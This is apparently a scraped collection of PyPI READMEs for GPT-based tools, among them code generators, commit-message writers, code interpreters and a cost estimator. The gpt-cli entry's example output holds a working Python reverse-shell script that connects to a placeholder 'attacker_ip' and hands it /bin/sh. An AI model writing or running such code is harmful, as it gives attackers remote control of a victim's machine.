Saravanan666/pypi-org huggingface dataset:
Package: gptclass
GPTClassGPTClassis a Python class that uses OpenAI's GPT to generated the code that does what you need with minimal information.How it works?It uses the method's name and information about the parameters used to build the source code using ChatGPT and then executes it locally.InstallationpipinstallgptclassUsageDo whatever you need:>>>importopenai>>>openai.api_key="...">>>fromgptclassimportGPTClass>>>gpt=GPTClass()>>>gpt.add(1,2)3>>>gpt.n_unique([1,2,5,5])3>>>gpt.prime_numbers_below(10)[2,3,5,7]>>>gpt.count_vowels("Today I had a nice coffee!")10>>>gpt.from_celsius_to_fahrenheit(25)77.0>>>gpt.random_plate_number(seed=123)BIC6410Show me the generated codeAdding explain before invoking the method will print the code:>>>gpt.explain.from_celsius_to_fahrenheit(25)deffrom_celsius_to_fahrenheit(celsius):return(celsius*1.8)+32>>>gpt.explain.factorial(15)deffactorial(n):ifn==0:return1else:returnn*factorial(n-1)NotesInspired on:davinci-functionsWarningThe code produced may not be reliable and should be validated before executing it.
Package: gpt-cli
gpt-cliThis is a command line tool used for interacting with OpenAI's API.Default model istext-davinci-003(which ChatGPT was originally built from).This tool requires the following environment variables to be set:OPENAI_API_KEYOPENAI_ORGANIZATION_IDYou can further tweak functionality by setting the following additional environment variables:OPENAI_MODELOPENAI_DEFAULT_PROMPTOPENAI_LOGFILEOPENAI_TEMPERATUREOPENAI_MAX_TOKENSAll environment variables can be set by filling in values fromexample.env, renaming that file to.env, and running./bin/gpt3 'Your prompt here'.Alternately, you can pass them all on the command line using something like this:OPENAI_API_KEY=foo OPENAI_ORGANIZATION_ID=bar ./bin/gpt3 'Your prompt here'If installing from PyPi, set theOPENAI_API_KEYandOPENAI_ORGANIZATION_IDin your~/.bashrcor~/.zshrc, and run as follows:gpt3 'Your prompt here'Installation (PyPi) - set variables in rc files:python3 -m pip install gpt-cliInstallation (local) - set variables in .env:git clone https://github.com/phx/gpt-cli
cd gpt-cli
python3 -m pip install -r requirements.txtExamples:╭─phx@bigboi ~/git/gpt-cli  ‹master*› 
╰─➤  gpt3 'Write python script to create reverse shell.'
Prompt:
Write python script to create reverse shell.

Answer:
import socket
import subprocess# Create a socket
s = socket.socket()# Connect to the attacker machine
s.connect(("attacker_ip", attacker_port))# Create a subprocess to execute a shell
proc = subprocess.Popen(["/bin/sh", "-i"], stdin=s.fileno(), stdout=s.fileno())# Keep the connection alive
while True:
    data = s.recv(1024)
    if data == "exit":
        break
    proc.stdin.write(data)
    proc.stdout.flush()# Close the connection
s.close()
----------------------------------------------------------------------╭─phx@bigboi ~/git/gpt-cli  ‹master*› 
╰─➤  OPENAI_DEFAULT_PROMPT='Do not give nonsense answers. If you do not know that your answer is factual, respond with "Unknown. "' gpt3 'Who is Gregory Washingheimer Van Fleet?'
Prompt:
Who is Gregory Washingheimer Van Fleet?

Answer:
Unknown.
----------------------------------------------------------------------
╭─phx@bigboi ~/git/gpt-cli  ‹master*› 
╰─➤  OPENAI_DEFAULT_PROMPT='Do not give nonsense answers. If you do not know that your answer is factual, respond with "Unknown. "' gpt3 'Who is John Adams?'                     
Prompt:
Who is John Adams?

Answer:
John Adams was the second President of the United States, serving from 1797 to 1801.
----------------------------------------------------------------------
Package: gpt-code-generator
gpt-code-generatorsummeryGPT code generator refer to GitHub repositoryfor userEnvironment Variablesuse GitHub Actionsname: Save precondition indexes from GitHub repositry for generate code
on:
  workflow_dispatch:
  schedule:
    - cron: '0 0 * * *' # every day at midnight

permissions:
  actions: read
  contents: read
  id-token: write
  checks: write
  pull-requests: write

jobs:
  save:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Auto GPT Review With Preconditions
        uses: wakuwaku3/gpt-code-generator@v0.0.0
        with:
          AZURE_OPEN_AI_KEY: "${{ secrets.AZURE_OPEN_AI_KEY }}"
          AZURE_OPEN_AI_ENDPOINT: "${{ secrets.AZURE_OPEN_AI_ENDPOINT }}"
          AZURE_OPEN_AI_VERSION: "2023-05-15"
          AZURE_OPEN_AI_MODEL_NAME: "gpt-35-turbo"
          AZURE_OPEN_AI_MODEL_DEPLOY_NAME: "gpt-35-turbo"
          AZURE_OPEN_AI_EMBEDDING_MODEL_NAME: "text-embedding-ada-002"
          AZURE_OPEN_AI_EMBEDDING_MODEL_DEPLOY_NAME: "text-embedding-ada-002"
          GOOGLE_APPLICATION_CREDENTIALS_JSON: "${{ secrets.GOOGLE_APPLICATION_CREDENTIALS_JSON }}"
          GOOGLE_INDEX_BUCKET_NAME: "${{ secrets.GOOGLE_INDEX_BUCKET_NAME }}"
          GITHUB_OWNER: wakuwaku3 # optional, default: ${GITHUB_REPOSITORY_OWNER}
          GITHUB_REPO: gpt-code-generator # optional, default: ${GITHUB_REPOSITORY#${GITHUB_REPOSITORY_OWNER}/}
          GITHUB_TOKEN:  "${{ secrets.TOKEN }}" # optional, default: ${{ secrets.GITHUB_TOKEN }}
          IGNORE_FILE_EXTENSIONS: "" # optional
          IGNORE_DIRECTORIES: "" # optionalinstall commandpipinstallgpt-code-generatorsave-code-generating-precondition commandsave-code-generating-precondition--helpgpt-code-generator commandgpt-code-generator--helpfor developer setuppipinstallpoetry
poetryconfigvirtualenvs.in-projecttrue--local
makeinstall
Package: gpt-code-interpreter
Code Interpreter APIA LangChain implementation of the ChatGPT Code Interpreter.
Using CodeBoxes as backend for sandboxed python code execution.CodeBoxis the simplest cloud infrastructure for your LLM Apps.
You can run everything local except the LLM using your own OpenAI API Key.FeaturesDataset Analysis, Stock Charting, Image Manipulation, ....Internet access and auto Python package installationInputtext + files-> Receivetext + filesConversation Memory: respond based on previous inputsRun everything local except the OpenAI API (OpenOrca or others maybe soon)Use CodeBox API for easy scaling in production (coming soon)InstallationGet your OpenAI API Keyhereand install the package.pipinstall"codeinterpreterapi[all]"Everything for local experiments are installed with theallextra.
For deployments, you can usepip install codeinterpreterapiinstead which does not install the additional dependencies.UsageMake sure to set theOPENAI_API_KEYenvironment variable (or use a.envfile)fromcodeinterpreterapiimportCodeInterpreterSessionasyncdefmain():# create a sessionsession=CodeInterpreterSession()awaitsession.astart()# generate a response based on user inputresponse=awaitsession.generate_response("Plot the bitcoin chart of 2023 YTD")# output the response (text + image)print("AI: ",response.content)forfileinresponse.files:file.show_image()# terminate the sessionawaitsession.astop()if__name__=="__main__":importasyncio# run the async functionasyncio.run(main())Bitcoin YTD Chart OutputDataset AnalysisfromcodeinterpreterapiimportCodeInterpreterSession,Fileasyncdefmain():# context manager for auto start/stop of the sessionasyncwithCodeInterpreterSession()assession:# define the user requestuser_request="Analyze this dataset and plot something interesting about it."files=[File.from_path("examples/assets/iris.csv"),]# generate the responseresponse=awaitsession.generate_response(user_request,files=files)# output to the userprint("AI: ",response.content)forfileinresponse.files:file.show_image()if__name__=="__main__":importasyncioasyncio.run(main())Iris Dataset Analysis OutputProductionIn case you want to deploy to production, you can utilize the CodeBox API for seamless scalability.Please contact me if you are interested in this, as it is still in the early stages of development.ContributingThere are some remaining TODOs in the code.
So, if you want to contribute, feel free to do so.
You can also suggest new features. Code refactoring is also welcome.
Just open an issue or pull request and I will review it.Please also submit any bugs you find as an issue with a minimal code example or screenshot.
This helps me a lot in improving the code.Thanks!Streamlit WebAppTo start the web application created with streamlit:streamlitrunfrontend/app.pyLicenseMITContactYou can contact me atcontact@shroominic.com.
But I prefer to useTwitterorDiscordDMs.Support this projectIf you would like to help this project with a donation, you canclick here.
Thanks, this helps a lot! ❤️Star History
Package: gpt-code-ui
An open source implementation of OpenAI's ChatGPTCode interpreter.Simply ask the OpenAI model to do something and it will generate & execute the code for you.Read theblog postto find out more.CommunityJudah Cooper offered to start & curate a Discord community. Joinhere.InstallationOpen a terminal and run:pip install gpt-code-ui
gptcodeIn order to make basic dependencies available it's recommended to run the followingpipinstall
in the Python environment that is used in the shell where you rungptcode:pipinstall"numpy>=1.24,<1.25""dateparser>=1.1,<1.2""pandas>=1.5,<1.6""geopandas>=0.13,<0.14""tabulate>=0.9.0<1.0""PyPDF2>=3.0,<3.1""pdfminer>=20191125,<20191200""pdfplumber>=0.9,<0.10""matplotlib>=3.7,<3.8"User interfaceFeaturesFile uploadFile downloadContext awareness (it can refer to your previous messages)Generate codeRun code (Python kernel)Model switching (GPT-3.5 and GPT-4)Misc.Using .env for OpenAI keyYou can put a .env in the working directory to load theOPENAI_API_KEYenvironment variable.ConfigurablesSet theAPI_PORT,WEB_PORT,SNAKEMQ_PORTvariables to override the defaults.SetOPENAI_BASE_URLto change the OpenAI API endpoint that's being used (note this environment variable includes the protocolhttps://...).You can use the.env.examplein the repository (make sure yougit clonethe repo to get the file first).For Azure OpenAI Services, there are also other configurable variables like deployment name. See.env.azure-examplefor more information.
Note that model selection on the UI is currently not supported for Azure OpenAI Services.cp .env.example .env
vim .env
gptcodeDockerlocalagitook the effort of bundling the Python package in a Docker container. Check it out here:gpt-code-ui-docker.ContributingPlease do and have a look at thecontributions guide! This should be a community initiative. I'll try my best to be responsive.Thank you for your interest in this project!
Package: gpt-commands-python
GPT Commands PythonA python module that provides an easy way to use OpenAI GPT-4 (or 3.5)function calling, which is basically GPT plugins in API world.Just create a class with your custom logic:classGame:defget_inventory(self,character:str,max_items:int)->List[str]:"""Get inventory of a characterArgs:character (str): The name of the character to get the inventory of. One of: 'Harry', 'Ron', 'Hermione'max_items (int): The maximum number of items to returnReturns:List[str]: The inventory of the character"""ifcharacter=="Harry":return["Wand","Broom","Cloak"]elifcharacter=="Ron":return["Wand","Rat"]elifcharacter=="Hermione":return["Wand","Cat","Book"]return[]defalohomora(self):"""Unlock the door"""print("[COMMAND] Alohomora!")defexpelliarmus(self,target:str):"""Disarm the targetArgs:target (str): The target to disarm"""print(f"[COMMAND] Expelliarmus{target}!")Make sure to annotate your code with type hints and doc strings. This is what the module uses to "explain" the functions to GPT.Then pass an instance of your class toGPTCommandsClientlike so and start prompting:manager=Game()model="gpt-4-0613"# "gpt-3.5-turbo-16k-0613"asyncwithGPTCommandsClient(model,system_prompt)asclient:whileTrue:prompt=input("You: ")asyncfordatainclient.chat_stream(prompt,manager):print(data,end="")print()List of currently supported types for parameters:boolintfloatstrList[T]Dict[str, T]Optional[T]@dataclassmarked classes withJsonSchemaMixinSeeexamplefor a full example.InstallationInstall the packagepipinstallgpt-commands-pythonSet environment variablesCopy.env.examplefile and rename it to.env.
Then set yourOpenAI API key(and optionally your organization ID).
Your.envfile should look someting like this:OPENAI_API_KEY=sk-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
OPENAI_ORGANIZATION=org-XXXXXXXXXXXXXXXXXXXXXXXXYou can also pass these values as arguments toGPTCommandsClientconstructor or set them as environment variables.Running the examplepython-mexamples.game
Package: gpt-commit
gpt-commit 🚀gpt-commitis a command-line tool that intelligently generates commit messages based on staged file changes in Git. It utilizes OpenAI's GPT model to craft concise and descriptive commit messages.Acknowledgements 🙌This project was inspired by and owes gratitude to the original work found atmarkuswt/gpt-commit. Thank you for laying the foundation!Prerequisites 📋PythonA valid OpenAI API keyInstallation 🛠️Clone the repository:gitclonehttps://github.com/josenerydev/gpt-commit.gitNavigate to the project directory:cdgpt-commit/Install the package:pipinstall.For developers: If you're making changes and want to reflect them immediately, install in editable mode:pipinstall-e.Update ⬆️To upgrade the tool to the latest version:pipinstall--upgrade.Uninstallation ❌To uninstall the tool:pipuninstallgpt-commitConfiguration ⚙️Before using the tool, you need to set up your OpenAI API key.On Windows (PowerShell):Before running any PowerShell script, you may need to modify the execution policy. To do this, open PowerShell as an administrator and run:Set-ExecutionPolicyRemoteSignedThen, run thesetupEnvironmentVariables.ps1script:.\setupEnvironmentVariables.ps1-openaiKeyYOUR_OPENAI_API_KEYOn Linux/Mac:Run thesetupEnvironmentVariables.shscript:./setupEnvironmentVariables.shYOUR_OPENAI_API_KEYRemember to replaceYOUR_OPENAI_API_KEYwith your actual API key.Usage 🚀After installation, you can use thegpt-committool anywhere in your system:gpt-commitRunning the above command will analyze changes in staged files in Git and generate a commit message. This message will then be opened in Git's default editor for review or editing. After reviewing the message, save and close the editor to finalize the commit.For help on available options:gpt-commit--helpLicenseThis project is licensed under the MIT License - see theLICENSEfile for details.
Package: gpt-commit-cli
gpt-commitGenerate commit messages using GPT-3. To usegpt-commit, simply invoke it whenever you'd usegit commit. Git will prompt you to edit the generated commit message.gitadd.
gpt-commitBased on Markus'gpt-commit.gpt-commitInstallationpipxpipGetting StartedDevelopInstallationMinimum Python version required: 3.10.pipxThis is the recommended installation method.$ pipx install gpt-commit-clipip$ pip install gpt-commit-cliGetting StartedSet the environment variableOPENAI_API_KEYto yourOpenAI API key, e.g. by adding the following line to your.bashrc.exportOPENAI_API_KEY=<YOURAPIKEY>exportOPENAI_ORG_ID=<YOURORGID># optionalDevelop$ git clone https://github.com/tddschn/gpt-commit-cli.git
$ cd gpt-commit-cli
$ poetry install
Package: gpt-commit-msg
GPT Commit Message GeneratorThis program is a commit message generator that leverages GPT-4 or GPT-3.5-turbo
to create detailed and informative commit messages for your source control.RequirementsPython 3openaitiktokenAn OpenAI API keyInstallationInstall the required Python packages:pipinstallopenaitiktokenSet your OpenAI API key as an environment variable:exportOPENAI_API_KEY="your_openai_api_key"UsageThe program can be run in two ways:Piping a diff into the script:diff-uold_filenew_file|python3gpt_commit_msg.pyUsing the --git flag to automatically use staged git changes:python3gpt_commit_msg.py--gitBy default, the script uses GPT-3.5-turbo, which is faster and costs less. To use GPT-4 instead, add the -4 flag:python3gpt_commit_msg.py-4How It WorksThe script reads a diff from either stdin or staged git changes, and then
creates a commit message using OpenAI's GPT. It handles large diffs by splitting
and summarizing the input until it fits within the model's token limit.The generated commit message will start with a one-line summary of 60
characters, followed by a blank line, and then a longer but concise description
of the changes.NotesNote that the entirety of this README until this section was generated by GPT4
based on the contents of the script. Every change description in this project's
history also came courtesy of this script.Editor IntegrationVimI use the following two macros in my .vimrc to easily invoke this command when
writing a commit message.command! CommitMsg :r !gpt_commit_msg.py --git
command! CommitMsg4 :r !gpt_commit_msg.py --git -4
Package: gpt-context
GPT ContextFeaturesTODORequirementsTODOInstallationYou can installGPT ContextviapipfromPyPI:$pipinstallgpt-contextUsagePlease see theCommand-line Referencefor details.ContributingContributions are very welcome.
To learn more, see theContributor Guide.LicenseDistributed under the terms of theMIT license,GPT Contextis free and open source software.IssuesIf you encounter any problems,
pleasefile an issuealong with a detailed description.CreditsThis project was generated from@cjolowicz'sHypermodern Python Cookiecuttertemplate.
Package: gpt-cost-estimator
🚀 CostEstimator for OpenAI with tqdm integration 💸TheCostEstimatorclass offers a convenient way to estimate the cost of using OpenAI's gpt-3.5 and gpt-4 models. It is intended to be used in a loop withtqdmto  track and display the cost estimation in real-time.🌟 Features:tqdm Integration: Seamlessly integrates intotqdmpowered loops and displays the cost of each API call and the accumulated total cost.Model Synonyms: Easily switch between model versions or names. 🔄Mock Responses: Generate fake 🤖 API responses to estimate costs without making actual API requests.Cost Breakdown: Display the estimated 💰 cost per request and the accumulated cost.🛠 Usage:The CostEstimator class was designed to be used in Jupyter Notebooks, see theexample notebookfor a demonstration.Decorate your API call function:importopenaifromgpt_cost_estimatorimportCostEstimator@CostEstimator()defquery_openai(model,messages,**kwargs):args_to_remove=['mock','completion_tokens']forarginargs_to_remove:ifarginkwargs:delkwargs[arg]returnopenai.ChatCompletion.create(model=model,messages=messages,**kwargs)Call the API from within a loop:formessageintqdm(messages):response=query_openai(model="gpt-3.5-turbo-0613",messages=[message],mock=False)# Or if you're mocking the API call:response=query_openai(model="gpt-3.5-turbo-0613",messages=[message],mock=True)print()# We need to print a newline to show the total costReset Total Cost:CostEstimator.reset()Read Total Cost:CostEstimator.get_total_cost()📌 Dependencies:tiktoken: Used to determine the number of tokens in a string without making an API call.openai: Official OpenAI Python client.tqdm: Provides the real-time progress bar that displays the cost details. Essential for user-friendly cost tracking.lorem_text: Generates mock API responses.🔧 Installation:Install via pippipinstallgpt-cost-estimatorManual Installationpipinstalltiktokenopenaitqdmlorem_textClone this repository and import theCostEstimatorin your script.How tqdm is Integrated:The progress bar powered bytqdmprovides instant feedback for every API call. Whether you're mocking the call or connecting to the real API, you'll see the cost of the current request and the total expenditure so far. It offers a visual and user-friendly way to monitor costs.📝 Notes:Ensure the pricing details in the estimator match OpenAI's official pricing.Always test the estimator with your specific use cases to ensure accuracy.The progress bar will appear in your Jupyter notebook or console where the script runs.Change Log:2024-01-26 Updated prices and added additional models.📜 License:The MIT License is a permissive open-source license. It allows for reuse of code with minimal restrictions, while requiring only attribution and inclusion of the original license. 🔄🔓💼
Package: gpt-data-dictionary
🐣 GPT Data DictionaryIntroductionAs a Senior Staff Spreadsheet Engineer, you understand the challenges of dealing with ambiguously and poorly defined data. The GPT Data Dictionary aims to alleviate this pain point by automating the creation of comprehensive and understandable data dictionaries.Them: Can you just quickly pull this data for me?Me: Sure, let me just:SELECT * FROM some_ideal_clean_and_pristine.table_that_you_think_exists— Seth Rosen (@sethrosen)April 20, 2020<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>What is a Data Dictionary?A data dictionary is a centralized resource that offers metadata about data elements within a system or project. It outlines key details such as data types, constraints, and definitions, thus facilitating data interpretation and quality assurance. Essentially, a data dictionary is your go-to guide for understanding and managing your data landscape.FeaturesAutomated Metadata Extraction: Quickly generate metadata for each column in your dataset, including data types, allowed values, and more.Readable Variable Names: Utilizes GPT-3.5 to automatically generate human-readable variable names.Quality Indicators: Provides metadata that can be useful for data quality checks.Extensible: Easily extendable to include more advanced statistics or custom metadata as required.How to UseInstall Dependencies: Make sure you've installed all required Python packages.poetryinstallRun the Script: Execute the main Python script and provide the path to your CSV file.poetryrunscripts/extract_gpt_data_dictionary.py--csv-file=/path/to/your/csv/file.csvReview and Edit: The generated data dictionary will be saved as a CSV file. Open it to manually enter any domain-specific information that couldn't be automatically generated.Finalize: Save your changes to the data dictionary CSV. You can now use this as a comprehensive guide for data understanding and manipulation.ExampleRunning this script for the all famous titanic dataset on Kaggle:```bash
poetry run scripts/extract_gpt_data_dictionary.py --csv-file=data/titanic_train.csv
```And it will outputgpt_data_dictionary.csvContributionWe welcome contributions! Feel free to fork this repository and submit pull requests, or open an issue to discuss what you'd like to add.ReferencesOSF: How to Make a Data DictionaryUC Merced: Data DictionariesUSGS: Data Dictionaries